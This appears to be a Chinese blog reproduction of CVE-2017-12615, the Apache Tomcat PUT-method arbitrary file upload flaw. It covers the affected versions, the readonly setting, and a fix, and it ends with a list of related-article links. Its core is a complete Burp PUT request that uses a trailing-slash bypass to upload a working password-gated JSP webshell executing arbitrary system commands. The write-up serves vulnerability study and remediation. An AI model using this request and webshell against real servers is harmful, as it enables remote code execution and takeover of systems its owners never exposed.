Apache Tomcat任意文件上传漏洞(CVE-2017-12615)
Apache Tomcat任意文件上传漏洞(CVE-2017-12615)
漏洞编号
CVE-2017-12615
影响范围
Apache Tomcat 7.0.0 – 7.0.81
漏洞描述
Windows上的Apache Tomcat如果开启PUT方法(默认关闭),则存在此漏洞,攻击者可以利用该漏洞上传JSP文件,从而导致远程代码执行。
漏洞利用
(1)开启PUT方法
默认情况下readonly是true,此时PUT和DELETE方法是被拒绝的,当readonly为false时,便会开启。打开tomcat/conf/web.xml文件,找到default servlet的配置项,添加readonly那一项,如下所示:
(2)上传webshell
Tomcat 的 Servlet在 conf/web.xml 配置,通过配置文件可知,当后缀名为 .jsp 和 .jspx 的时候,通过JspServlet处理请求;而DefaultServlet存在漏洞,它处理静态资源,所以我们需要绕过这个限制,在文件名后加空格%20或者/。
使用burpsuite发送如下请求:
PUT /shell.jsp/ HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 663
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("lingwen".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
(3)执行命令,我们弹出一个计算器
修复方案
关闭PUT方法,默认关闭。即将conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true,才能防止漏洞。
相关文章
- Apache Tomcat examples directory vulnerabilities(Apache Tomcat样例目录session操纵漏洞)复现
- springboot o.a.tomcat.util.scan.StandardJarScanner : Failed to scan [file:/D:/apache-maven-3.0.5[系统找不到指定路径]
- 如何在 Apache 中重定向 URL 到另外一台服务器
- 在 Linux 中以交互方式实时查看Apache web访问统计
- windows安装apache
- Apache用户目录枚举工具apache-users
- Apache 配置 Basic 认证
- Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.7.0:
- mybatis或hibernate框架连接数据库报错:java.sql.SQLException: No suitable driver或No suitable driver found for http://maven.apache.org
- apache伪静态原理图
- Tomcat_启动多个tomcat时,会报StandardServer.await: Invalid command '' received错误
- tomcat启动(二)org.apache.catalina.startup.Bootstrap分析
- Apache + Tomcat集群配置详解 (1)
- ubuntu 下 apache+tomcat整合_(mod-jk方法)[转]
- Windows 7环境下网站性能测试小工具 Apache Bench 和 Webbench使用和下载
- Type mismatch: cannot convert from javax.servlet.http.Cookie[] to org.apache.tomcat.util.http.parser.Cookie[] 的一种可能